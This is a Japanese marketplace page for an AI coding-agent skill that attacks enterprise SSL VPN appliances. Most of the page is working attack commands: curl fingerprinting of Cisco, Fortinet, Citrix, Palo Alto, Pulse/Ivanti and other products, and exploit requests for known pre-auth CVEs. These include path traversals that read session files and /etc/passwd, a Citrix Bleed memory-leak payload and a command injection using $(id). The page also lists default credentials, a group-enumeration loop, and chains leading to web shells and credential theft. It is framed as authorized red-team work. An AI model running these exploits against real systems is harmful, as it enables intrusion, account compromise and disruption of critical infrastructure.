mcpField
E
enterprise-vpn-attack

enterprise-vpn-attack

github.com/elementalsoulsセキュリティ5.3k275 回インストール今日更新
リポジトリ

enterprise-vpn-attack について

enterprise-vpn-attackは、企業向けSSL VPNのWebインターフェースを評価するセキュリティテスト用スキルです。ベンダーの特定、既知の脆弱性や認証経路の確認に加え、影響のあるテストやロックアウトのリスクも扱います。

主な機能

  1. 01VPNベンダーの特定
  2. 02CVEに沿った検査手順
  3. 03SAML設定の確認
  4. 04認証情報とグループの列挙
  5. 05Nucleiによる初期トリアージ

活用シーン

  1. 01公開VPN製品の特定
  2. 02関連する認証前脆弱性の確認
  3. 03VPNのSAML設定の点検
  4. 04安全な評価プローブの優先順位付け

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill enterprise-vpn-attack

インストール後、Claude Code で/enterprise-vpn-attackを入力して読み込まれたか確認します。

詳細

このスキルを使用するタイミング

偵察で以下が見つかった場合に実行します。

  • *.<client>.example/+CSCOE+/logon.html または同様の +CSCOE+ パス → Cisco ASA / AnyConnect
  • intranet.* / vpn.* / connect.* / webvpn.* / wc.* / remote.* サブドメイン
  • ポート 443 が、Server: Apache ヘッダーや「AnyConnect」、「FortiGate」、「NetScaler」、「GlobalProtect」、「Pulse」、「Ivanti」などのバナーを含むログインページを返す
  • TCP 8443 / 4443 / 10443 / 8888(一般的な VPN Web 管理ポート)
  • Set-Cookie: webvpn=(Cisco)/ SVPNCOOKIE=(Fortinet)/ NSC_AAA=(Citrix)/ DSAuthSession=(Pulse)/ BIGipServer*(F5)を含む HTTP レスポンス

以下には使用しないでください。

  • 足がかりを得た後の内部ラテラルムーブメント(ユーザーの境界条件によりスコープ外)
  • VPN クライアント側のバグ(別の攻撃クラス)
  • IPsec / L2TP / OpenVPN(SSL VPN の Web スタックとは異なるプロトコル)

ベンダーの特定(フィンガープリンティング)

Cisco ASA / AnyConnect
curl -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"

ASA のバージョン:現行ビルドではバナーに表示されません。JS ファイルのパスから推定するか、特定のパスをテストする必要があります。

# Path-based version hints (older builds leaked builds in URLs)
curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled
curl -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint
Fortinet FortiGate / FortiOS
curl -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"

バージョン:/remote/info から漏えいすることがあります(旧バージョン)。または /login?username= の 302 レスポンスで確認できます。

Citrix NetScaler / ADC / Gateway
curl -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"

# Version banner
curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era
Palo Alto GlobalProtect
curl -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"

# Version banner via login page
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'
Pulse Secure / Ivanti Connect Secure
curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"

# Version
curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'
SonicWall NetExtender / SMA
curl -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"
F5 Big-IP / APM
curl -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)

CVE マトリックス — 認証前または認証バイパス(2018~2026)

Cisco ASA / AnyConnect
CVE影響対象種類テスト
CVE-2018-0296ASA の特定の 9.x 未満のビルドパストラバーサル — 情報漏えい(セッション、設定)GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua
CVE-2020-3452特定のパッチレベル適用前の ASA、FTDパストラバーサル — ファイル読み取りGET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua とそのバリエーション
CVE-2023-20269特定の ASA、FTDSSL VPN の認証バイパス/+webvpn+/index.html に対して、グループと有効な認証情報の組み合わせをブルートフォースします
CVE-2024-20481RAVPN細工したハンドシェイクによる DoSレッドチームではスキップ — 影響を伴います
# Cisco CVE-2020-3452 — file read
curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5

# Cisco CVE-2018-0296 — path traversal
curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20

# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua    (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.html
Fortinet FortiGate / FortiOS
CVE影響対象種類テスト
CVE-2018-13379FortiOS 5.4-6.0パストラバーサル — sslvpn_websession ファイル読み取りGET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
CVE-2022-42475特定の FortiOS 7.xヒープオーバーフロー — 認証前 RCE複雑なエクスプロイトです。nuclei のテンプレート CVE-2022-42475 でテストします
CVE-2023-27997 (XORtigate)複数の FortiOSヒープオーバーフロー — 認証前 RCE公開 PoC があり、nuclei のテンプレートも利用できます
CVE-2024-21762FortiOS 6.x-7.x範囲外書き込み — 認証前 RCE公開 PoC、および nuclei のテンプレート CVE-2024-21762
CVE-2024-55591FortiOS 7.0-7.4FortiOS の Node.js WebSocket 管理インターフェースにおける認証バイパス管理インターフェースのポートで GET /endpoint
# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
# Response contains plaintext usernames + sessions if vulnerable

# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
# IP:PORT     username     password     (and others)
Citrix NetScaler / ADC / Gateway
CVE影響対象種類テスト
CVE-2019-19781 (Shitrix)ADC/Gateway の特定の 10.5-13.0パストラバーサル → XML アップロード経由の RCEGET /vpn/../vpns/cfg/smb.conf
CVE-2022-27518SAML が設定された ADC/Gateway認証前 RCE複雑です。nuclei でテストします
CVE-2023-3519NetScaler ADC/Gateway の特定の 13.0-13.1細工した HTTP 経由の認証前 RCE公開 PoC があります
CVE-2023-4966 (Citrix Bleed)NetScaler ADC/Gateway 13.0-14.1メモリ漏えい → セッショントークン窃取細工した Host ヘッダーを指定して POST /oauth/idp/.well-known/openid-configuration を送信 — 長い Host ヘッダーにより、レスポンスでメモリ漏えいが発生します
# Citrix Bleed (CVE-2023-4966) detection
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
# If response is large (>10KB) and contains random memory contents — vulnerable
# Session tokens often present in the memory dump

# CVE-2019-19781 file read
curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'
Palo Alto GlobalProtect
CVE影響対象種類テスト
CVE-2024-3400GP が有効な PAN-OS 10.2-11.1コマンドインジェクション — 認証前 RCESESSID=../../../var/log/pan/test.txt を含む細工した Cookie ヘッダーを指定して POST /ssl-vpn/login.esp を送信
# CVE-2024-3400 detection
curl -sk -X POST 'https://target/ssl-vpn/login.esp' \
  -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \
  --data 'jsessionid=test'
# Look for file-creation side-effect on test path — palo creates file with command output
Pulse Secure / Ivanti Connect Secure / Policy Secure
CVE影響を受ける製品種別テスト
CVE-2019-11510Pulse Connect Secure 8.x-9.x任意ファイル読み取りGET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/
CVE-2021-22893Pulse Connect Secure 9.x認証前の RCE複雑な複数ステップが必要です。nuclei でテストしてください
CVE-2024-21887Ivanti Connect Secure 9.1-22.6Web コンポーネントでのコマンドインジェクション細工した本文を指定して POST /api/v1/totp/user-backup-code/
CVE-2023-46805Ivanti Connect Secure 9.1-22.6認証バイパス完全な攻撃チェーンには 21887 と組み合わせます
# CVE-2019-11510 — Pulse file read
curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'
SonicWall
CVE影響を受ける製品種別テスト
CVE-2021-20016SMA 100 シリーズの特定のファームウェアSQL インジェクション — 認証前nuclei テンプレートを利用できます
CVE-2024-40766SonicOS の特定のバージョンアクセス制御の不備特定のファームウェアバージョン

SAML SP / IdP の設定ミス(必ず確認)

現在、ほとんどのエンタープライズ VPN は SSO に SAML を使用しています。SP メタデータを確認してください。

# Cisco ASA
curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50

# Fortinet
curl -sk 'https://target/remote/saml/metadata' | head -50

# Citrix
curl -sk 'https://target/saml/login' | head -30

次の点を確認します。

  • AuthnRequestsSigned="false" → XSW の悪用については hunt-saml を参照してください
  • WantAssertionsSigned="false" → 重大です。アサーションのリプレイが可能な場合があります
  • オーディエンス制限の検証不備
  • 公開されている SP 署名証明書(リプレイ/偽造攻撃に利用される可能性があります)

デフォルト認証情報(慎重にテストしてください — アカウントロックアウトのリスクがあります)

ベンダーユーザーパスワード備考
Cisco ASAadmincisco工場出荷時のデフォルト。実稼働環境ではほとんど見られません
Cisco ASAenable_15ciscoコンソール
Fortinetadmin(empty)工場出荷時のデフォルト
Citrix NetScalernsrootnsroot工場出荷時のデフォルト
Citrix NetScalernsroot(serial number)新しいファームウェア
Palo Altoadminadmin工場出荷時のデフォルト
Pulse Secureadminpassword工場出荷時の設定。CIS 強化済み環境では変更されています
F5 Big-IProotdefault工場出荷時の設定
F5 Big-IPadminadminよくある別の組み合わせ
SonicWalladminpassword工場出荷時の設定

⚠ ほとんどのエンタープライズ環境では、これらは変更されています。ロックアウトを避けるため、アカウントごとに 2 回以下の試行にとどめてください。


グループ/トンネルグループの列挙(Cisco 固有)

Cisco ASA の AAA グループは、認証なしで列挙できる場合があります。

# Tunnel group enumeration via timing
for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
  ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \
    -X POST "https://target/+webvpn+/index.html" \
    -d "username=test&password=test&group_list=$group&tgroup=&Login=Login")
  echo "$group: ${ms}s"
done
# Larger differential timing = group exists; valid groups respond slower in some builds

AAA バックエンドの特定

認証に失敗した後、エラーレスポンスの詳細を確認してください。

レスポンス内のパターンAAA バックエンド
a0=2 (Cisco)不明なユーザー
a0=3 (Cisco)パスワードが間違っています
a0=4 (Cisco)ログインが制限されています
a0=12 (Cisco)アカウントがロックされています
a0=115 (Cisco)一般的な認証失敗(LDAP/RADIUS/AD レイヤーのエラー)
レスポンス本文に AADSTSEntra(SAML)をバックエンドとして使用
Authentication failed via RADIUSRADIUS バックエンド
Invalid username or password(一般的なメッセージ)LDAP またはローカル DB

フローに SAML/Entra が見られる場合は、認証情報スプレーの戦略について m365-entra-attack スキルに切り替えてください。


一般的なプローブ手順(5 分でフィンガープリントを取得)

TARGET="vpn.target.com"

# Cisco
curl -skI "https://$TARGET/+CSCOE+/logon.html" 2>&1 | head -3
curl -sk "https://$TARGET/+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml
curl -sk --path-as-is "https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html

# Fortinet
curl -skI "https://$TARGET/remote/login" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt

# Citrix
curl -skI "https://$TARGET/" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://$TARGET/oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt
wc -c /tmp/citrix_bleed.txt

# Palo Alto
curl -skI "https://$TARGET/global-protect/login.esp" 2>&1 | head -3

# Pulse / Ivanti
curl -skI "https://$TARGET/dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3
curl -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt

迅速なトリアージに使う Nuclei テンプレート

Nuclei には、上記の CVE のほとんどに対応する高品質なテンプレートがあります。1 つのコマンドで一括スキャンできます。

nuclei -u https://target/ \
  -tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \
  -severity high,critical -rl 5

より広範な脆弱性を対象にするには -as(自動スキャン)を追加しますが、処理は遅くなります。


運用上の注意

  • **バナーが削除されたサーバー(バージョン情報が開示されない)**は、多層防御の観点で有効です。CVE が見つからなくても、良好な所見として記録してください
  • リクエスト頻度を抑えてください。これらのアプライアンスは多くの場合、すべてのリクエストを SIEM に記録します。間隔に揺らぎを加え、時間をかけて実施してください
  • SAML メタデータは匿名で取得できます。取得してください。AAA バックエンドに関する情報を得られます
  • 明示的な許可なく、レッドチーム演習で認証前 RCE の PoC を実行しないでください。VPN コンセントレーターを誤って使用不能にすると、クライアントに壊滅的な影響を与えます。まず検出のみのテストを行い、許可を得てから範囲を広げてください
  • AAA バックエンドの特定結果を記録してください。ASA が RADIUS からローカル認証に接続しているのか、SAML から Entra に接続しているのかによって、その後の攻撃経路が変わります

隣接するスキルとの連携

  • m365-entra-attack — AAA バックエンドが Entra SAML の場合。クレデンシャルスプレーの戦略を応用できます
  • hunt-saml — SAML SP の設定に不備がある場合の XSW/署名ストリッピング
  • mid-engagement-ir-detection — アプライアンスは大量のログを生成します。エンゲージメント中に IPS ルールが導入されていないか確認してください
  • redteam-mindset — バナーが削除されているからといって「脆弱性がない」とは限りません。動作上のフィンガープリントから調査を続けてください

アンチパターン

  • 1 つの CVE パスで 404 が返っただけで「パッチ適用済み」と結論づけないでください — パッチの適用状況にはばらつきがあります。ベンダーごとに 3 件以上の CVE をテストしてください
  • バージョンバナーだけを信用しないでください — アプライアンスベンダーは、バージョン文字列を更新せずに修正をバックポートすることがよくあります
  • レート制限なしで高負荷の nuclei スキャンを実行しないでください — これらのアプライアンスは重要インフラです
  • CVE の PoC を手当たり次第に試してフィンガープリントを取得しないでください — まず、影響の少ない HEAD とバージョンバナーのプローブから始めてください
  • SAML メタデータの確認を省略しないでください — アプライアンスにパッチが適用済みでも、SAML SP の設定不備は独立した攻撃対象領域です

関連スキルとチェーン

  • hunt-rce — 主要な VPN アプライアンス(Pulse Secure、Fortinet、Citrix、Ivanti、Palo Alto)はいずれも、過去 24 か月以内に認証前のパストラバーサルから RCE に至る脆弱性をリリースしています。チェーンのプリミティブ:VPN アプライアンスの CVE(例:Ivanti ICS CVE-2024-21887、Citrix Bleed CVE-2023-4966、Fortinet CVE-2024-21762)→ hunt-rce による認証前のパストラバーサル → Web ルートへの任意ファイル書き込み → ファイルへのリクエスト → root 権限での Web シェル → VPN 設定と LDAP バインド認証情報の抽出。
  • hunt-saml — VPN の SAML SP 設定不備は、完全にパッチが適用されたアプライアンスでも残っている場合があります。チェーンのプリミティブ:アプライアンスに最新の CVE 対策パッチが適用済みでも /saml/metadata にアクセス可能 → IdP のフィンガープリントを取得 → hunt-saml による IdP への XSW またはコメントインジェクション → 偽造されたアサーション → パスワード/MFA なしで VPN セッションを確立。
  • vmware-vcenter-attack — VPN への足掛かりを得た後、次に vCenter へ移るのが自然です。チェーンのプリミティブ:VPN Web シェル → VPN アプライアンス設定から認証情報を抽出(LDAP バインド、RADIUS 共有シークレット)→ 内部 vCenter で再利用 → スコープが許可する場合は vmware-vcenter-attack → データセンターの乗っ取り。
  • hunt-ntlm-info — 一部の VPN アプライアンスは、管理パスで匿名 NTLM を公開しています。チェーンのプリミティブ:VPN 管理ポータルでの NTLM Type-2 のキャプチャ → hunt-ntlm-info による AV_PAIR のデコード → 内部 AD フォレスト名の特定 → 同期されたテナントで m365-entra-attack による Entra スプレー。
  • mid-engagement-ir-detection + redteam-report-template — VPN アプライアンスの CVE 悪用はノイズが大きく、SOC は迅速にパッチを適用します。チェーンのプリミティブ:CVE を確認 → mid-engagement-ir-detection でベースラインを取得 → テスト中にアプライアンスが更新された場合は、パッチ適用後の状態を 2 件目の指摘事項として記録 → 両方の指摘事項を triage-validation で確認 → 重要インフラであることを明示して redteam-report-template でまとめる。

コメント